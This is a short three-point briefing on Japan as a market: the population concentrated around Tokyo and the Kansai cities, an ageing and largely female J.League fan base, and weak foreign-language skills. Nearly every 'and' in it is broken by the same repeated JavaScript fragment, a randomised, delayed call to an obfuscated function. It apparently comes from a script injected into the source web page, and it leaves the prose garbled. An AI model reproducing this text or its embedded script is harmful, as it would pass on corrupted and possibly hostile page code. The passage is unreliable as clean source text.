1

Almost half of Japan’s population (ca. 130,000,000) is concentrated in the greater Tokyo area (ca. 40,000,000) andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and in the Kansai triangle of Osaka, Kyoto, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Kobe (ca. 20,000,000). Tokyo andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and eventually Osaka should be considered the focal point for events andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and activities.

2

The ageing of Japan’s population is reflected in its football audience, with many fans in their 40s andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and 50s. In addition, more than one third of the J.League’s supporters are women, accordingly, any approaches to Japanese fans require a sensitivity to female audiences.

3

​The country’s lack of English proficiency (andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and indeed proficiency in any foreign language!) is a concern, as Japan looks to integrate into the global economy. Accordingly, the Japanese truly appreciate when foreign companies provide Japanese-language services.